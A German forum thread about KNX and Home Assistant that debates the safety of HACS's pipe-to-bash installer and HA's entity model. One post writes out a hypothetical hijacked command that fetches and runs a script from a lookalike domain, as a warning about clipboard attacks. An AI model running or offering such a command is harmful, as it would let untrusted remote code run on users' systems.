KNX - was geht wirklich?

[traxanos]

Wie du aus einer VM ausbrechen willst, darfst du mir gerne mal zeigen. Es gibt keine bekannte praktische Möglchkeit, ohne physikalischen Zugriff.

Oh da muss ich dich enttäuschen. Doch das geht. Regelmäßig gibt es Sicherheitslücken um aus einer VM auszubrechen und dann auf dem Hypervisor mit root-Rechte hat.

[aleksanda]

Sogar von einer https geschützten Seite.

HTTPS schützt dich nur vor man-in-the-middle Attacken. Die sind, außer du bist Russland, China oder Nordkorea und betreibst Zertifizierungsstellen, die im Browser vorgeschrieben sind, sehr selten geworden, nicht nur wegen HTTPS (TCP, zB).

Ich betreibe keinen einzigen Webserver ohne Zertifikate, kein einziger liefert Seiten auf HTTP aus. Trotzdem müssen meine Skripte nicht gutartig sein.

Wenn man sich die Millionen von AI generierten Seiten ansieht, die so hohes Ranking haben, dass sie ganz oben angezeigt werden, dann wird einem gleich mal schlecht. Wenn ich auf so einer Seite einen legitim aussehenden, gut verständlichen Artikel über HACS lese, wo sogar die richtige URL steht, aber stattdessen "wget -O - https://get.hacs.abc | bash -" in der Zwischenablage landet, wer schaut da schon auf das, was dann tatsächlich in die Kommandozeile eingefügt wird? Mit einem return hinten dran wird es sogar gleich ausgeführt.

Das generelle Problem ist mit IT ist, man muss immer irgend wem vertrauen.

Es geht aber nicht ums Vertrauen. Die ursprüngliche Aussage, auf die ich mich bezogen hatte, war "User X tun alle leid, die sich davor fürchten, einen kryptischen Einzeiler aus dem Internet in die Kommandozeile zu kopieren".

[traxanos]

Nochmal was wäre der Unterschied zu

wget https://get.hacs.abc/ha.deb o.ä. ?

selbst wenn du mir nun mit signatur kommst, die wird wie geladen? vmlt so

wget https://get.hacs.abc/ha.asc

in zeite wo urls mittels punny code anderen urls zum verwechseln ähnlich aussehen, bis du immer einem risiko ausgesetzt. und leider können wir auch nicht erwarten, das benutzer einen 5 jährigen it kurs machen müssen, dass sie selbst sowas erkennen.

also ja sicherheitstechnisch alles nicht geil. aber was ist die wirklich alternative?

dich stört, wenn ich dich richtig verstanden habe die domain? aber was wäre die korrekt domain? und würde eine normaler user erkennen das es keine domain ist?

wer schaut da schon auf das, was dann tatsächlich in die Kommandozeile eingefügt wird?

selbst wenn er schauen würde. was ist das qualitätsmerkmal das es in ordnung ist?

[GLT]

Der spezifische Befehl zum Installieren von HACS lädt direkt von einer URL eine Datei herunter, die als ein Bash-Script ausgeführt wird und alles tun kann.

Soweit richtig - und wer will, könnte sich ja die Datei vorher ansehen - im Gegensatz zu etlichen anderen Variationen.

Es wäre genauso unsicher, das unter Windows mit .bat Dateien zu tun, oder einem Programm mit graphischer Oberfläche den gleichen Zugriff zu erlauben.

Zumindest bei einer .bat hätte man noch die Möglichkeit zu gucken - aber bei einem kompilierten Programm wird's schon kompliziert.

Das sieht man in letzter Zeit recht häufig, manche davon fragen sogar nach root Rechten.

Das dürften sogar die Mehrheit sein, da man als L-User meist zuwenig Rechte für Installationen hat u. man bewusst Aktionen durchführt.

Je öfter ich so einen Einzeiler ausführe, desto eher sinkt die Skepsis, weil das ja "einfach" funktioniert.

So wie der Doppelklick auf eine .exe/.msi - das macht wohl keinen Unterschied u. "absegnen" muss ich es hüben, wie drüben.

Meiner Meinung nach geht da der Trend in die falsche Richtung

Und die richtige Vorgehensweise wäre deiner Meinung nach dann???

Nur noch Quellcode runterladen, sichten, prüfen u. in jedem Fall - OS-unbhängig - selber kompilieren?
Dann dürfte man auch kein Docker mehr nutzen, wenn man die Container nicht selber erstellt hat - könnten kompromittiert sein.
Und natürlich keinerlei Produkte mit NW-Funktionalität mehr erwerben - immerhin hat man da gar keine Möglichkeit der Prüfung - könnte ja die Firmware der Schnittstelle schon "böse" sein.
Da wird man wohl nicht weit kommen.

Und - btw - alles in VLAN stecken zu wollen, ist ggfs. ebenfalls problematisch, da die entsprechenden Produkte ebenfalls von Bugs betroffen sein können/sind u. mitunter auch back-doors enthalten (haben).

Ja, es ist wichtig, sich um Sicherheit zu bemühen, aber völlige Sicherheit in der IT ist schlichtweg nicht zu bekommen, solange es nur irgendeine Verbindung irgendwohin gibt.



.

[greentux]

Das schöne ist ja, man muss gar kein HACS verwenden...

[FrankMaier]

Die Diskussion hier ist doch dämlich. Es gibt ein offizielles Image von HA, das ist in ein zwei Minuten in einer VM lauffähig. Es gibt es Erweiterung namens HACS, offizielle Webseite, offizielle Installationsanleitung. Fertig. Genauso offiziell wie ein Gerät von einer Visu von einem Händler zu kaufen, der die Visu evtl. zuvor kompromitiert haben könnte

Die Frage war, was geht mit HA. Es geht alles. Da das einigen nicht passte, wurde die Diskussion auf die Sicherheit gelenkt, was bei ALLEN anderen Closed-Source-Visualisierungen in der Tat ein interessanter Punkt ist. Closed Source, unbehobene unbekannte Sicherheitslücken, unregelmäßige Updates, irgendwann die vollständige Einstellung des Produkts, ohne Updates wird alles weiter betrieben, ... Bei HA ist in allen Dingen das Gegenteil der Fall. Das passte einigen aber auch noch nicht.

Dann kam die Kritik zur VM. Ja, man findet hier und dort immer mal wieder Schwachstellen von VMs, meist sogar auf Hardwareeben, die aber unter allen beteiligten unter enormen Aufwand schnellstmöglich geschlossen werden, da praktisch die ganze IT auf dieser Welt darauf aufbaut. Somit ist die Kritik einfach dämlich, da praktisch jeder Server, der im Internet etwas bereitstellt, in einer VM läuft. Von KVM gibt es Sicherheitsanalysen etc. Also wenn man sich beschweren will, dann sicher nicht darüber.

Am Ende ist es eine Visu, die lokal im Netz läuft. Niemand hier wird ein Sicherheitsaudit seines veralteten Smart TV, Internetradio etc. machen.

[henfri]

Ich glaube, das Thema Sicherheit ist jetzt -da OT- zu genüge besprochen.

[mfd]

Ich habe mir das System nochmal angeschaut, nachdem es ohnehin im Container vor sich hin dümpelt.
Die KNX Integration läuft soweit, sieht aber für mich immer noch wie ein Fremdkörper im Gesamtkonstrukt aus. Ich muss da GLT leider vollständig zustimmen:

Man merkt HA an allen Ecken an, dass es aus der SmartGeraffelwelt kommt u. somit auch grundlegend eine gewisse Sichtweise in der Intergration eigen hat - im Vergleich zu üblichen SCADA, GLT, Visu-Systemen, die schon von jeher Datenpunkte als Ausgangsbasis innehaben, egal, ob die per Modbus, BACnet, KNX etc. daherkommen.

Sofern es eine andere Geschmacksrichtung von HA gäbe, in dem vom Start weg nur die Kernkomponenten (Logikmaschine, Visualisierung) vorhanden sind würde ich das sehr begrüßen.
Also eher ein HA Pro statt HA Consumer IoT, ohne:
HA Cloud, Sprachassistenten, Map und ohne wöchentliche Vorschläge für irgendwelche neu entdeckten Geräte im Netzwerk, die nicht zu interessieren haben solange man das nicht ausdrücklich wünscht. Der Bedarf (siehe Links) wäre offenbar vorhanden.

Klar heißt es: "du brauchst ja nur das zu benutzen, was für dich relevant ist."
Allerdings gibt es derlei Software schon zur Genüge, egal ob es Desktop- oder mobile Betriebssysteme sind, die einem das Gefühl geben nach dem ersten Start 80% der Funktionen deaktivieren oder deinstallieren zu müssen.

[Springrbua]

an merkt HA an allen Ecken an, dass es aus der SmartGeraffelwelt kommt

Das hat mMn nichts mit der IoT Welt an sich zu tun, sondern viel mehr mit der Zielgruppe.
Home Assistant richtet sich an den Enduser, für den ist eine Lampe eine Entität, oder wie auch immer man das nennen möchte, welche verschiedene Attribute und Aktionen hat.
Wie es zu diesen verschiedenen Attributen kommt und wie die Aktionen implementiert sind ist völlig irrelevant.
Wer sich im Alltag mit KNX beschäftigt und täglich mit GAs zu tun hat denk da vllt. etwas anders und entsprechend wird auch die Vorgehensweise in reinen KNX Servern / Visus eine andere sein.

Die KNX Integration läuft soweit, sieht aber für mich immer noch wie ein Fremdkörper im Gesamtkonstrukt aus.

Das schöne an HA ist ja, dass an der Oberfläche, in Automationen etc. alles gleich aussieht, egal ob es von KNX, Philips Hue oder sonst was kommt. Einen Fremdkörper sehe ich bei mir mit KNX nicht.

Sofern es eine andere Geschmacksrichtung von HA gäbe, in dem vom Start weg nur die Kernkomponenten (Logikmaschine, Visualisierung) vorhanden sind würde ich das sehr begrüßen.
Also eher ein HA Pro statt HA Consumer IoT

Home Assistant ist entstanden, um verschiedene Systeme miteinander kombinieren zu können und sie nicht mit zig proprietären Apps bedienen zu müssen.
Folglich ist es auch verständlich wenn in der Standardkonfiguration Geräte automatisch gefunden werden. Ich selbst war positiv überrascht als ich gesehen habe wie viele vorhandene Geräte automatisch erkannt wurden und ohne zusätzliche Konfiguration integriert werden konnten.
Die Auto-Discovery lässt sich, wenn ich das richtig verstanden habe, deaktivieren indem man eben nicht die Default-Configuration verwendet und in der eigenen den "discovery" Eintrag nicht hinzufügt. Dafür würdest du allerdings YAML benötigen.
Wenn das alles für dich nicht in Frage kommt, dann ist HA wohl einfach nicht das richtige System für dich, man kann es ja nicht allen recht machen

[henfri]

Man merkt HA an allen Ecken an, dass es aus der SmartGeraffelwelt kommt u. somit auch grundlegend eine gewisse Sichtweise in der Intergration eigen hat - im Vergleich zu üblichen SCADA, GLT, Visu-Systemen, die schon von jeher Datenpunkte als Ausgangsbasis innehaben, egal, ob die per Modbus, BACnet, KNX etc. daherkommen.

Das ist aber eine Schwäche dieser Systeme und nicht von HA.
KNX will ja auch in die Richtung gehen (siehe Funktionen). Idealerweise verknüpft man doch Funktionen von z.B. Taster auf den Heizaktor und nicht einzelne GAs. Kann man zur Not für volle Flexibilität auch noch auf GA Ebene, aber 90% sollte auf Funktionsebene gehen - irgendwann.

Das erfordert natürlich Änderung und das wiederum erzeugt Phantomschmerzen. Ich weiß.

Gruß,
Hendrik

[StefanWE]

Bin vor 3 Jahren mit HA angefangen. Ja es ist nervig einmal alle KNX Entitäten einmal in yaml runterzuschreiben. Seitdem musste ich da aber nichts mehr ändern. Es läuft einfach.

die Automationen sind mittlerweile so gut, dass ich Node red über Bord geworfen habe und alles in ha nativ abbilde. Es gab bis jetzt nichts, was ich nicht gesteuert oder integriert bekommen habe.
in der gui verhält sich alles gleich, egal welche Technik (KNX, modbus, hue,…) integriert wird. Und so mehr du in deinem Gebäude lebst um so mehr iot Geräte wirst du neben KNX bekommen und bist dann froh, es so einfach zu integrieren.

[GLT]

Das ist aber eine Schwäche dieser Systeme und nicht von HA.

Mitnichten - Datenpunkte liefern (mit ihren Attributen) den wesentlichen Informationsgehalt u. nicht Geräte, Funktionen etc., denn es ist prinzipiell erstmal egal, welches Gerät/Hersteller/ID diesen Datenpunkt liefert, solange die Gültigkeit nicht beeinträchtigt ist. Somit wäre das eher eine Schwäche von HA - wenn man so eine Betrachtung ziehen möchte.

Für mich ist es aber nicht Stärke/Schwäche - es ist einfach das "Anders" aufgrund seiner "Wurzeln".

[henfri]

Datenpunkte liefern (mit ihren Attributen) den wesentlichen Informationsgehalt u. nicht Geräte, Funktionen etc., denn es ist prinzipiell erstmal egal, welches Gerät/Hersteller/ID diesen Datenpunkt liefert, solange die Gültigkeit nicht beeinträchtigt ist.

Dem stimme ich zu. Aber das hat mit der Fragestellung in meinen Augen nix zu tun.

Der Vorteil, auf einem höheren Level zu arbeiten (Lampe, statt Anschalt, Status, Dimm, Status-Dimm, Farbe, Status Farbe, ...) ist einfach, dass man viel schneller ist.
Will ich einen Taster mit einer Lampe verknüpfen, so ist das eine Verknüpfung statt 10. Das spart viel Arbeit (z.B. bei der Visuerstellung: Ich habe gerade alle meine GAs der Logik-Engine bekannt gemacht. Jetzt erzeuge ich die Visu und muss dem Lampen-Icon nochmal sagen, was das Dimmobjekt und was das Schaltobjekt (usw.) ist. Stattdessen ziehe ich die Lampe in die Visu. Fertig.

Für mich ist das eine Stärke - und zwar eine Große.

Mal ganz konkret und nicht abstrakt: Welchen Nachteil seht ihr da?

[gbglace]

Welchen Nachteil seht ihr da?

Man hat nur jene Funktionen die der Visu-Knopfersteller da als Funktionen sich gedacht hat. Wenn Du nun eine Lampe / Aktor hast der eine Funktion mehr hat als was der Knopf da bietet dann hast zwar GA's und irgendwo Entitäten aber doch keine Entsprechung in dem "fixen" Gerätetemplate vom HA.

[Tom Bombadil]

Man hat nur jene Funktionen die der Visu-Knopfersteller da als Funktionen sich gedacht hat.

Da der gemeine 'Visu-Knopf' in HA üblicherweise über den Aufruf von Services ('actions') mit Geräten interagiert, und diese Aufrufe fast immer beliebig anpassbar sind, kann ich Dir nicht recht folgen. Und selbst wenn - was hindert Dich daran, einen weiteren Knopf auf die Visu zu schmeißen, der sich um Deine superwichtige Sonderfunktion kümmert? Deshalb: Hast Du für die Aussage mal ein konkretes Beispiel?

/tom